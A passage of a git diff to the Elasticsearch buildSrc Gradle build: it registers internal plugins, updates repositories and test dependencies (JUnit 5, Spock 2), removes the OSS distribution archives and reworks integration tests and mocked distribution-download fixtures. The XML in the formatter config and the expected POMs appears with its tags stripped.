'elasticsearch.internal-distribution-archive-setup' + implementationClass = 'org.elasticsearch.gradle.internal.InternalDistributionArchiveSetupPlugin' + } + internalDistributionBwcSetup { + id = 'elasticsearch.internal-distribution-bwc-setup' + implementationClass = 'org.elasticsearch.gradle.internal.InternalDistributionBwcSetupPlugin' + } + internalDistributionDownload { + id = 'elasticsearch.internal-distribution-download' + implementationClass = 'org.elasticsearch.gradle.internal.InternalDistributionDownloadPlugin' + } + internalLicenseheaders { + id = 'elasticsearch.internal-licenseheaders' + implementationClass = 'org.elasticsearch.gradle.internal.precommit.LicenseHeadersPrecommitPlugin' + } + internalPlugin { + id = 'elasticsearch.internal-es-plugin' + implementationClass = 'org.elasticsearch.gradle.internal.InternalPluginBuildPlugin' + } + internalTestArtifact { + id = 'elasticsearch.internal-test-artifact' + implementationClass = 'org.elasticsearch.gradle.internal.InternalTestArtifactPlugin' + } + internalTestArtifactBase { + id = 'elasticsearch.internal-test-artifact-base' + implementationClass = 'org.elasticsearch.gradle.internal.InternalTestArtifactBasePlugin' + } + internalTestClusters { + id = 'elasticsearch.internal-testclusters' + implementationClass = 'org.elasticsearch.gradle.internal.InternalTestClustersPlugin' + } + internalTestRerun { + id = 'elasticsearch.internal-test-rerun' + implementationClass = 'org.elasticsearch.gradle.internal.test.rerun.TestRerunPlugin' + } + java { + id = 'elasticsearch.java' + implementationClass = 'org.elasticsearch.gradle.internal.ElasticsearchJavaPlugin' + } + javaRestTest { + id = 'elasticsearch.java-rest-test' + implementationClass = 'org.elasticsearch.gradle.internal.test.rest.JavaRestTestPlugin' + } + jdkDownload { + id = 'elasticsearch.jdk-download' + implementationClass = 'org.elasticsearch.gradle.internal.JdkDownloadPlugin' + } + publish { + id = 'elasticsearch.publish' + implementationClass = 'org.elasticsearch.gradle.internal.PublishPlugin' + } + reaper { + id = 'elasticsearch.reaper' + implementationClass = 'org.elasticsearch.gradle.ReaperPlugin' + } + repositories { + id = 'elasticsearch.repositories' + implementationClass = 'org.elasticsearch.gradle.internal.RepositoriesSetupPlugin' + } + restResources { + id = 'elasticsearch.rest-resources' + implementationClass = 'org.elasticsearch.gradle.internal.test.rest.RestResourcesPlugin' + } + restTest { + id = 'elasticsearch.rest-test' + implementationClass = 'org.elasticsearch.gradle.internal.test.RestTestPlugin' + } + standaloneRestTest { + id = 'elasticsearch.standalone-rest-test' + implementationClass = 'org.elasticsearch.gradle.internal.test.StandaloneRestTestPlugin' + } + standaloneTest { + id = 'elasticsearch.standalone-test' + implementationClass = 'org.elasticsearch.gradle.internal.test.StandaloneTestPlugin' + } + testFixtures { + id = 'elasticsearch.test.fixtures' + implementationClass = 'org.elasticsearch.gradle.internal.testfixtures.TestFixturesPlugin' + } + testBase { + id = 'elasticsearch.test-base' + implementationClass = 'org.elasticsearch.gradle.internal.ElasticsearchTestBasePlugin' + } + testWithDependencies { + id = 'elasticsearch.test-with-dependencies' + implementationClass = 'org.elasticsearch.gradle.internal.test.TestWithDependenciesPlugin' + } + testWithSsl { + id = 'elasticsearch.test-with-ssl' + implementationClass = 'org.elasticsearch.gradle.internal.test.TestWithSslPlugin' + } + testclusters { + id = 'elasticsearch.testclusters' + implementationClass = 'org.elasticsearch.gradle.testclusters.TestClustersPlugin' + } + validateRestSpec { + id = 'elasticsearch.validate-rest-spec' + implementationClass = 'org.elasticsearch.gradle.internal.precommit.ValidateRestSpecPlugin' + } + yamlRestCompatTest { + id = 'elasticsearch.yaml-rest-compat-test' + implementationClass = 'org.elasticsearch.gradle.internal.rest.compat.YamlRestCompatTestPlugin' + } + yamlRestTest { + id = 'elasticsearch.yaml-rest-test' + implementationClass = 'org.elasticsearch.gradle.internal.test.rest.YamlRestTestPlugin' + } + } } def generateVersionProperties = tasks.register("generateVersionProperties", WriteProperties) { outputFile = "${buildDir}/version.properties" @@ -77,9 +227,13 @@ tasks.withType(JavaCompile).configureEach { *****************************************************************************/ repositories { - jcenter() + mavenCentral() + gradlePluginPortal() } +configurations { + integTestRuntimeOnly.extendsFrom(testRuntimeOnly) +} dependencies { api localGroovy() api gradleApi() @@ -90,8 +244,10 @@ dependencies { api 'com.netflix.nebula:gradle-extra-configurations-plugin:5.0.1' api 'com.netflix.nebula:gradle-info-plugin:9.2.0' api 'org.apache.rat:apache-rat:0.11' - api "org.elasticsearch:jna:5.5.0" - api 'com.github.jengelman.gradle.plugins:shadow:6.1.0' + api "org.elasticsearch:jna:5.7.0-1" + api 'gradle.plugin.com.github.jengelman.gradle.plugins:shadow:7.0.0' + // for our ide tweaking + api 'gradle.plugin.org.jetbrains.gradle.plugin.idea-ext:gradle-idea-ext:0.7' // When upgrading forbidden apis, ensure dependency version is bumped in ThirdPartyPrecommitPlugin as well api 'de.thetaphi:forbiddenapis:3.1' api 'com.avast.gradle:gradle-docker-compose-plugin:0.14.0' @@ -110,9 +266,30 @@ dependencies { testFixturesApi gradleTestKit() testImplementation 'com.github.tomakehurst:wiremock-jre8-standalone:2.23.2' testImplementation 'org.mockito:mockito-core:1.9.5' - integTestImplementation('org.spockframework:spock-core:1.3-groovy-2.5') { + testImplementation "org.hamcrest:hamcrest:${props.getProperty('hamcrest')}" + + integTestImplementation(platform("org.junit:junit-bom:${props.getProperty('junit5')}")) + integTestImplementation("org.junit.jupiter:junit-jupiter") { + because 'allows to write and run Jupiter tests' + } + testRuntimeOnly("org.junit.vintage:junit-vintage-engine") { + because 'allows JUnit 3 and JUnit 4 tests to run' + } + + integTestRuntimeOnly("org.junit.platform:junit-platform-launcher") { + because 'allows tests to run from IDEs that bundle older version of launcher' + } + + testImplementation platform("org.spockframework:spock-bom:2.0-M5-groovy-3.0") + testImplementation("org.spockframework:spock-core") { exclude module: "groovy" } + integTestImplementation platform("org.spockframework:spock-bom:2.0-M5-groovy-3.0") + integTestImplementation("org.spockframework:spock-core") { + exclude module: "groovy" + } + // required as we rely on junit4 rules + integTestImplementation "org.spockframework:spock-junit4" integTestImplementation "org.xmlunit:xmlunit-core:2.8.2" } @@ -121,6 +298,8 @@ dependencies { *****************************************************************************/ // this will only happen when buildSrc is built on its own during build init if (project == rootProject) { + apply plugin: 'groovy-gradle-plugin' + repositories { if (System.getProperty("repos.mavenLocal") != null) { mavenLocal() @@ -168,16 +347,10 @@ if (project != rootProject) { dependencies { reaper project('reaper') distribution project(':distribution:archives:windows-zip') - distribution project(':distribution:archives:oss-windows-zip') distribution project(':distribution:archives:darwin-tar') distribution project(':distribution:archives:darwin-aarch64-tar') - distribution project(':distribution:archives:oss-darwin-tar') - distribution project(':distribution:archives:oss-darwin-aarch64-tar') distribution project(':distribution:archives:linux-aarch64-tar') distribution project(':distribution:archives:linux-tar') - distribution project(':distribution:archives:oss-linux-tar') - distribution project(':distribution:archives:oss-linux-aarch64-tar') - integTestRuntimeOnly(project(":libs:elasticsearch-core")) } @@ -195,9 +368,14 @@ if (project != rootProject) { } } - // Track reaper jar as a test input using runtime classpath normalization strategy tasks.withType(Test).configureEach { + // Track reaper jar as a test input using runtime classpath normalization strategy inputs.files(configurations.reaper).withNormalizer(ClasspathNormalizer) + useJUnitPlatform() + } + + tasks.named("test").configure { + include("**/*TestSpec.class") } normalization { @@ -221,10 +399,10 @@ if (project != rootProject) { naming.clear() naming { Tests { - baseClass 'org.elasticsearch.gradle.test.GradleUnitTestCase' + baseClass 'org.elasticsearch.gradle.internal.test.GradleUnitTestCase' } - IT { - baseClass 'org.elasticsearch.gradle.test.GradleIntegrationTestCase' + TestSpec { + baseClass 'spock.lang.Specification' } } } @@ -234,14 +412,15 @@ if (project != rootProject) { systemProperty 'test.version_under_test', version testClassesDirs = sourceSets.integTest.output.classesDirs classpath = sourceSets.integTest.runtimeClasspath + useJUnitPlatform() } tasks.named("check").configure { dependsOn("integTest") } // for now we hardcode the tests for our build to use the gradle jvm. tasks.withType(Test).configureEach { - onlyIf { org.elasticsearch.gradle.info.BuildParams.inFipsJvm == false } + onlyIf { org.elasticsearch.gradle.internal.info.BuildParams.inFipsJvm == false } it.executable = Jvm.current().getJavaExecutable() - maxParallelForks = providers.systemProperty('tests.jvms').forUseAtConfigurationTime().getOrElse(org.elasticsearch.gradle.info.BuildParams.defaultParallel.toString()) as Integer + maxParallelForks = providers.systemProperty('tests.jvms').forUseAtConfigurationTime().getOrElse(org.elasticsearch.gradle.internal.info.BuildParams.defaultParallel.toString()) as Integer } publishing.publications.named("elastic").configure { diff --git a/buildSrc/formatterConfig.xml b/buildSrc/formatterConfig.xml index b1d4729a48362..629153134b7f9 100644 --- a/buildSrc/formatterConfig.xml +++ b/buildSrc/formatterConfig.xml @@ -1,360 +1,388 @@ - - + + - - - - - - - - - - - - - - - - - - - + - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - + - - - + - + - - - - - - - + - - - + - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - + - + - - - - - - - - - + - - - - - - - - + - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - - - - - - - - - - - - - - - - - - - - diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/DistributionDownloadPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/DistributionDownloadPluginFuncTest.groovy index c7d775dec85a3..1e461665d7139 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/DistributionDownloadPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/DistributionDownloadPluginFuncTest.groovy @@ -17,7 +17,7 @@ import static org.elasticsearch.gradle.fixtures.DistributionDownloadFixture.with class DistributionDownloadPluginFuncTest extends AbstractGradleFuncTest { @Unroll - def "#distType version can be resolved"() { + def "extracted #distType version can be resolved"() { given: buildFile << applyPluginAndSetupDistro(version, platform) diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/PublishPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/PublishPluginFuncTest.groovy deleted file mode 100644 index 9018e3a50f4d2..0000000000000 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/PublishPluginFuncTest.groovy +++ /dev/null @@ -1,258 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle - -import org.elasticsearch.gradle.fixtures.AbstractGradleFuncTest -import org.gradle.testkit.runner.TaskOutcome -import org.xmlunit.builder.DiffBuilder -import org.xmlunit.builder.Input - -class PublishPluginFuncTest extends AbstractGradleFuncTest { - - def "artifacts and tweaked pom is published"() { - given: - buildFile << """ - plugins { - id 'elasticsearch.java' - id 'elasticsearch.publish' - } - - version = "1.0" - group = 'org.acme' - description = "custom project description" - """ - - when: - def result = gradleRunner('assemble').build() - - then: - result.task(":generatePom").outcome == TaskOutcome.SUCCESS - file("build/distributions/hello-world-1.0.jar").exists() - file("build/distributions/hello-world-1.0-javadoc.jar").exists() - file("build/distributions/hello-world-1.0-sources.jar").exists() - file("build/distributions/hello-world-1.0.pom").exists() - assertXmlEquals(file("build/distributions/hello-world-1.0.pom").text, """ - - 4.0.0 - org.acme - hello-world - 1.0 - hello-world - custom project description - """ - ) - } - - def "generates artifacts for shadowed elasticsearch plugin"() { - given: - file('license.txt') << "License file" - file('notice.txt') << "Notice file" - buildFile << """ - plugins { - id 'elasticsearch.esplugin' - id 'elasticsearch.publish' - id 'com.github.johnrengelman.shadow' - } - - esplugin { - name = 'hello-world-plugin' - classname 'org.acme.HelloWorldPlugin' - description = "custom project description" - } - - publishing { - repositories { - maven { - url = "\$buildDir/repo" - } - } - } - - // requires elasticsearch artifact available - tasks.named('bundlePlugin').configure { enabled = false } - licenseFile = file('license.txt') - noticeFile = file('notice.txt') - version = "1.0" - group = 'org.acme' - """ - - when: - def result = gradleRunner('assemble', '--stacktrace').build() - - then: - result.task(":generatePom").outcome == TaskOutcome.SUCCESS - file("build/distributions/hello-world-plugin-1.0-original.jar").exists() - file("build/distributions/hello-world-plugin-1.0.jar").exists() - file("build/distributions/hello-world-plugin-1.0-javadoc.jar").exists() - file("build/distributions/hello-world-plugin-1.0-sources.jar").exists() - file("build/distributions/hello-world-plugin-1.0.pom").exists() - assertXmlEquals(file("build/distributions/hello-world-plugin-1.0.pom").text, """ - - 4.0.0 - org.acme - hello-world-plugin - 1.0 - hello-world - custom project description - - """ - ) - } - - def "generates pom for elasticsearch plugin"() { - given: - file('license.txt') << "License file" - file('notice.txt') << "Notice file" - buildFile << """ - plugins { - id 'elasticsearch.esplugin' - id 'elasticsearch.publish' - } - - esplugin { - name = 'hello-world-plugin' - classname 'org.acme.HelloWorldPlugin' - description = "custom project description" - } - - // requires elasticsearch artifact available - tasks.named('bundlePlugin').configure { enabled = false } - licenseFile = file('license.txt') - noticeFile = file('notice.txt') - version = "1.0" - group = 'org.acme' - """ - - when: - def result = gradleRunner('generatePom').build() - - then: - result.task(":generatePom").outcome == TaskOutcome.SUCCESS - file("build/distributions/hello-world-plugin-1.0.pom").exists() - assertXmlEquals(file("build/distributions/hello-world-plugin-1.0.pom").text, """ - - 4.0.0 - org.acme - hello-world-plugin - 1.0 - hello-world - custom project description - """ - ) - } - - def "generated pom can be tweaked and validated"() { - given: - // scm info only added for internal builds - internalBuild() - buildFile << """ - BuildParams.init { it.setGitOrigin("https://some-repo.com/repo.git") } - - apply plugin:'elasticsearch.java' - apply plugin:'elasticsearch.publish' - - version = "1.0" - group = 'org.acme' - description = "just a test project" - - // this is currently required to have validation passed - // In our elasticsearch build this is currently setup in the - // root build.gradle file. - plugins.withType(MavenPublishPlugin) { - publishing { - publications { - // add license information to generated poms - all { - pom.withXml { XmlProvider xml -> - Node node = xml.asNode() - node.appendNode('inceptionYear', '2009') - - Node license = node.appendNode('licenses').appendNode('license') - license.appendNode('name', "The Apache Software License, Version 2.0") - license.appendNode('url', "http://www.apache.org/licenses/LICENSE-2.0.txt") - license.appendNode('distribution', 'repo') - - Node developer = node.appendNode('developers').appendNode('developer') - developer.appendNode('name', 'Elastic') - developer.appendNode('url', 'https://www.elastic.co') - } - } - } - } - } - """ - - when: - def result = gradleRunner('generatePom', 'validatElasticPom').build() - - then: - result.task(":generatePom").outcome == TaskOutcome.SUCCESS - file("build/distributions/hello-world-1.0.pom").exists() - assertXmlEquals(file("build/distributions/hello-world-1.0.pom").text, """ - - 4.0.0 - org.acme - hello-world - 1.0 - hello-world - just a test project - https://some-repo.com/repo.git - - https://some-repo.com/repo.git - - 2009 - - - The Apache Software License, Version 2.0 - http://www.apache.org/licenses/LICENSE-2.0.txt - repo - - - - - Elastic - https://www.elastic.co - - - """ - ) - } - - private boolean assertXmlEquals(String toTest, String expected) { - def diff = DiffBuilder.compare(Input.fromString(expected)) - .ignoreWhitespace() - .ignoreComments() - .normalizeWhitespace() - .withTest(Input.fromString(toTest)) - .build() - diff.differences.each { difference -> - println difference - } - if(diff.differences.size() > 0) { - println """ given: -$toTest -""" - println """ expected: -$expected -""" - - - } - assert diff.hasDifferences() == false - true - } -} diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/TestClustersPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/TestClustersPluginFuncTest.groovy index 5439d3f613156..326b7a68360ae 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/TestClustersPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/TestClustersPluginFuncTest.groovy @@ -9,8 +9,12 @@ package org.elasticsearch.gradle import org.elasticsearch.gradle.fixtures.AbstractGradleFuncTest +import org.gradle.testkit.runner.GradleRunner import spock.lang.IgnoreIf +import spock.lang.Unroll +import static org.elasticsearch.gradle.fixtures.DistributionDownloadFixture.withChangedClasspathMockedDistributionDownload +import static org.elasticsearch.gradle.fixtures.DistributionDownloadFixture.withChangedConfigMockedDistributionDownload import static org.elasticsearch.gradle.fixtures.DistributionDownloadFixture.withMockedDistributionDownload /** @@ -22,14 +26,34 @@ class TestClustersPluginFuncTest extends AbstractGradleFuncTest { def setup() { buildFile << """ - import org.elasticsearch.gradle.testclusters.DefaultTestClustersTask + import org.elasticsearch.gradle.testclusters.TestClustersAware + import org.elasticsearch.gradle.testclusters.ElasticsearchCluster plugins { id 'elasticsearch.testclusters' } - class SomeClusterAwareTask extends DefaultTestClustersTask { + class SomeClusterAwareTask extends DefaultTask implements TestClustersAware { + + private Collection clusters = new HashSet<>(); + + @Override + @Nested + public Collection getClusters() { + return clusters; + } + + @OutputFile + Provider outputFile + + @Inject + SomeClusterAwareTask(ProjectLayout projectLayout) { + outputFile = projectLayout.getBuildDirectory().file("someclusteraware.txt") + } + @TaskAction void doSomething() { + outputFile.get().getAsFile().text = "done" println 'SomeClusterAwareTask executed' + } } """ @@ -61,6 +85,96 @@ class TestClustersPluginFuncTest extends AbstractGradleFuncTest { assertNoCustomDistro('myCluster') } + @Unroll + def "test cluster #inputProperty change is detected"() { + given: + buildFile << """ + testClusters { + myCluster { + testDistribution = 'default' + } + } + + tasks.register('myTask', SomeClusterAwareTask) { + useCluster testClusters.myCluster + } + """ + + when: + def runner = gradleRunner("myTask", '-i', '-g', 'guh') + def runningClosure = { GradleRunner r -> r.build() } + withMockedDistributionDownload(runner, runningClosure) + def result = inputProperty == "distributionClasspath" ? + withChangedClasspathMockedDistributionDownload(runner, runningClosure) : + withChangedConfigMockedDistributionDownload(runner, runningClosure) + + then: + normalized(result.output).contains("Task ':myTask' is not up-to-date because:\n Input property 'clusters.myCluster\$0.nodes.\$0.$inputProperty'") + result.output.contains("elasticsearch-keystore script executed!") + assertEsLogContains("myCluster", "Starting Elasticsearch process") + assertEsLogContains("myCluster", "Stopping node") + assertNoCustomDistro('myCluster') + + where: + inputProperty << ["distributionClasspath", "distributionFiles"] + } + + @Unroll + def "test cluster modules #propertyName change is detected"() { + given: + addSubProject("test-module") << """ + plugins { + id 'elasticsearch.esplugin' + } + // do not hassle with resolving predefined dependencies + configurations.compileOnly.dependencies.clear() + configurations.testImplementation.dependencies.clear() + + esplugin { + name = 'test-module' + classname 'org.acme.TestModule' + description = "test module description" + } + + version = "1.0" + group = 'org.acme' + """ + buildFile << """ + testClusters { + myCluster { + testDistribution = 'default' + module ':test-module' + } + } + + tasks.register('myTask', SomeClusterAwareTask) { + useCluster testClusters.myCluster + } + """ + + when: + withMockedDistributionDownload(gradleRunner("myTask", '-g', 'guh')) { + build() + } + fileChange.delegate = this + fileChange.call(this) + def result = withMockedDistributionDownload(gradleRunner("myTask", '-i', '-g', 'guh')) { + build() + } + + then: + normalized(result.output).contains("Task ':myTask' is not up-to-date because:\n" + + " Input property 'clusters.myCluster\$0.nodes.\$0.$propertyName'") + result.output.contains("elasticsearch-keystore script executed!") + assertEsLogContains("myCluster", "Starting Elasticsearch process") + assertEsLogContains("myCluster", "Stopping node") + + where: + propertyName | fileChange + "installedFiles" | { def testClazz -> testClazz.file("test-module/src/main/plugin-metadata/someAddedConfig.txt") << "new resource file" } + "installedClasspath" | { def testClazz -> testClazz.file("test-module/src/main/java/SomeClass.java") << "class SomeClass {}" } + } + def "can declare test cluster in lazy evaluated task configuration block"() { given: buildFile << """ diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/AbstractGradleFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/AbstractGradleFuncTest.groovy index ee070e088c77f..fb73b69ea734c 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/AbstractGradleFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/AbstractGradleFuncTest.groovy @@ -67,6 +67,7 @@ abstract class AbstractGradleFuncTest extends Specification { return input.readLines() .collect { it.replace('\\', '/') } .collect {it.replace(normalizedPathPrefix , '.') } + .collect {it.replaceAll(/Gradle Test Executor \d/ , 'Gradle Test Executor 1') } .join("\n") } @@ -92,22 +93,22 @@ abstract class AbstractGradleFuncTest extends Specification { return jarFile; } - File internalBuild(File buildScript = buildFile, String major = "7.10.1", String minor = "7.11.0", String bugfix = "7.12.0") { + File internalBuild(File buildScript = buildFile, String bugfix = "7.10.1", String staged = "7.11.0", String minor = "7.12.0") { buildScript << """plugins { id 'elasticsearch.global-build-info' } import org.elasticsearch.gradle.Architecture - import org.elasticsearch.gradle.info.BuildParams + import org.elasticsearch.gradle.internal.info.BuildParams BuildParams.init { it.setIsInternal(true) } - import org.elasticsearch.gradle.BwcVersions + import org.elasticsearch.gradle.internal.BwcVersions import org.elasticsearch.gradle.Version Version currentVersion = Version.fromString("8.0.0") def versionList = [] versionList.addAll( - Arrays.asList(Version.fromString("$major"), Version.fromString("$minor"), Version.fromString("$bugfix"), currentVersion) + Arrays.asList(Version.fromString("$bugfix"), Version.fromString("$staged"), Version.fromString("$minor"), currentVersion) ) BwcVersions versions = new BwcVersions(new TreeSet<>(versionList), currentVersion) diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/AbstractRestResourcesFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/AbstractRestResourcesFuncTest.groovy index 3a078075a6151..5372368fbd629 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/AbstractRestResourcesFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/AbstractRestResourcesFuncTest.groovy @@ -11,37 +11,32 @@ package org.elasticsearch.gradle.fixtures; abstract class AbstractRestResourcesFuncTest extends AbstractGradleFuncTest { - void setupRestResources(List apis, List tests = [], List xpackApis = [], List xpackTests = []) { + void setupRestResources(List apis, List tests = [], List xpackTests = []) { addSubProject(":test:framework") << "apply plugin: 'elasticsearch.java'" addSubProject(":distribution:archives:integ-test-zip") << "configurations { extracted }" addSubProject(":rest-api-spec") << """ configurations { restSpecs\nrestTests } artifacts { restSpecs(new File(projectDir, "src/main/resources/rest-api-spec/api")) - restTests(new File(projectDir, "src/main/resources/rest-api-spec/test")) + restTests(new File(projectDir, "src/yamlRestTest/resources/rest-api-spec/test")) } """ addSubProject(":x-pack:plugin") << """ configurations { restXpackSpecs\nrestXpackTests } artifacts { - //The api and tests need to stay at src/test/... since some external tooling depends on that exact file path. - restXpackSpecs(new File(projectDir, "src/test/resources/rest-api-spec/api")) - restXpackTests(new File(projectDir, "src/test/resources/rest-api-spec/test")) + restXpackTests(new File(projectDir, "src/yamlRestTest/resources/rest-api-spec/test")) } """ - xpackApis.each { api -> - file("x-pack/plugin/src/test/resources/rest-api-spec/api/" + api) << "" - } xpackTests.each { test -> - file("x-pack/plugin/src/test/resources/rest-api-spec/test/" + test) << "" + file("x-pack/plugin/src/yamlRestTest/resources/rest-api-spec/test/" + test) << "" } apis.each { api -> file("rest-api-spec/src/main/resources/rest-api-spec/api/" + api) << "" } tests.each { test -> - file("rest-api-spec/src/main/resources/rest-api-spec/test/" + test) << "" + file("rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/" + test) << "" } } diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/DistributionDownloadFixture.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/DistributionDownloadFixture.groovy index c9afcff1394c8..172b94bb8b945 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/DistributionDownloadFixture.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/fixtures/DistributionDownloadFixture.groovy @@ -23,10 +23,30 @@ class DistributionDownloadFixture { gradleRunner, buildRunClosure) } + static BuildResult withChangedClasspathMockedDistributionDownload(GradleRunner gradleRunner, Closure buildRunClosure) { + return doRunWithMockedDistributionDownload(VersionProperties.getElasticsearch(), ElasticsearchDistribution.CURRENT_PLATFORM, + gradleRunner, buildRunClosure, true, false) + } + static BuildResult withChangedConfigMockedDistributionDownload(GradleRunner gradleRunner, Closure buildRunClosure) { + return doRunWithMockedDistributionDownload(VersionProperties.getElasticsearch(), ElasticsearchDistribution.CURRENT_PLATFORM, + gradleRunner, buildRunClosure, false, true) + } + static BuildResult withMockedDistributionDownload(String version, ElasticsearchDistribution.Platform platform, GradleRunner gradleRunner, Closure buildRunClosure) { + return doRunWithMockedDistributionDownload(version, platform, gradleRunner, buildRunClosure, false, false) + } + + static BuildResult withChangedClasspathMockedDistributionDownload(String version, ElasticsearchDistribution.Platform platform, + GradleRunner gradleRunner, Closure buildRunClosure) { + return doRunWithMockedDistributionDownload(version, platform, gradleRunner, buildRunClosure, true, false) + } + + private static BuildResult doRunWithMockedDistributionDownload(String version, ElasticsearchDistribution.Platform platform, + GradleRunner gradleRunner, Closure buildRunClosure, + boolean withAddedJar, boolean withAddedConfig) { String urlPath = urlPath(version, platform); - return WiremockFixture.withWireMock(urlPath, filebytes(urlPath)) { server -> + return WiremockFixture.withWireMock(urlPath, filebytes(urlPath, withAddedJar, withAddedConfig)) { server -> File initFile = new File(gradleRunner.getProjectDir(), INIT_SCRIPT) initFile.text = """allprojects { p -> p.repositories.all { repo -> @@ -47,8 +67,9 @@ class DistributionDownloadFixture { "/downloads/elasticsearch/elasticsearch-${version}-${platform}-${Architecture.current().classifier}.$fileType" } - private static byte[] filebytes(String urlPath) throws IOException { - String suffix = urlPath.endsWith("zip") ? "zip" : "tar.gz"; - return DistributionDownloadFixture.getResourceAsStream("/org/elasticsearch/gradle/fake_elasticsearch." + suffix).getBytes() + private static byte[] filebytes(String urlPath, boolean withAddedJar, boolean withAddedConfig) throws IOException { + String distro = (withAddedJar ? "-with-added-jar" : "") + (withAddedConfig ? "-with-added-config" : "") + String suffix = urlPath.endsWith("zip") ? ".zip" : ".tar.gz"; + return DistributionDownloadFixture.getResourceAsStream("/org/elasticsearch/gradle/fake_elasticsearch${distro}" + suffix).getBytes() } } diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/ElasticsearchJavaPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/ElasticsearchJavaPluginFuncTest.groovy similarity index 93% rename from buildSrc/src/integTest/groovy/org/elasticsearch/gradle/ElasticsearchJavaPluginFuncTest.groovy rename to buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/ElasticsearchJavaPluginFuncTest.groovy index ca694c2cc3aa6..5fd7aedecb268 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/ElasticsearchJavaPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/ElasticsearchJavaPluginFuncTest.groovy @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle +package org.elasticsearch.gradle.internal import org.elasticsearch.gradle.fixtures.AbstractGradleFuncTest @@ -19,7 +19,7 @@ class ElasticsearchJavaPluginFuncTest extends AbstractGradleFuncTest { id 'elasticsearch.global-build-info' } import org.elasticsearch.gradle.Architecture - import org.elasticsearch.gradle.info.BuildParams + import org.elasticsearch.gradle.internal.info.BuildParams BuildParams.init { it.setMinimumRuntimeVersion(JavaVersion.VERSION_1_10) } apply plugin:'elasticsearch.java' diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/ElasticsearchTestBasePluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/ElasticsearchTestBasePluginFuncTest.groovy similarity index 95% rename from buildSrc/src/integTest/groovy/org/elasticsearch/gradle/ElasticsearchTestBasePluginFuncTest.groovy rename to buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/ElasticsearchTestBasePluginFuncTest.groovy index 29f7ce9b55622..f67e779733224 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/ElasticsearchTestBasePluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/ElasticsearchTestBasePluginFuncTest.groovy @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle +package org.elasticsearch.gradle.internal import org.elasticsearch.gradle.fixtures.AbstractGradleFuncTest import org.gradle.testkit.runner.TaskOutcome @@ -32,7 +32,7 @@ class ElasticsearchTestBasePluginFuncTest extends AbstractGradleFuncTest { } repositories { - jcenter() + mavenCentral() } dependencies { diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionArchiveSetupPluginFuncTest.groovy b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionArchiveSetupPluginFuncTest.groovy index d855e9c38ce3b..c1db414c80fd3 100644 --- a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionArchiveSetupPluginFuncTest.groovy +++ b/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionArchiveSetupPluginFuncTest.groovy @@ -22,7 +22,7 @@ class InternalDistributionArchiveSetupPluginFuncTest extends AbstractGradleFuncT def setup() { buildFile << """ - import org.elasticsearch.gradle.tar.SymbolicLinkPreservingTar + import org.elasticsearch.gradle.internal.SymbolicLinkPreservingTar plugins { id 'elasticsearch.internal-distribution-archive-setup' diff --git a/buildSrc/src/integTest/groovy/org/elasticsearch/gradle/internal/InternalDistributionBwcSetupPluginFuncTest.groovy 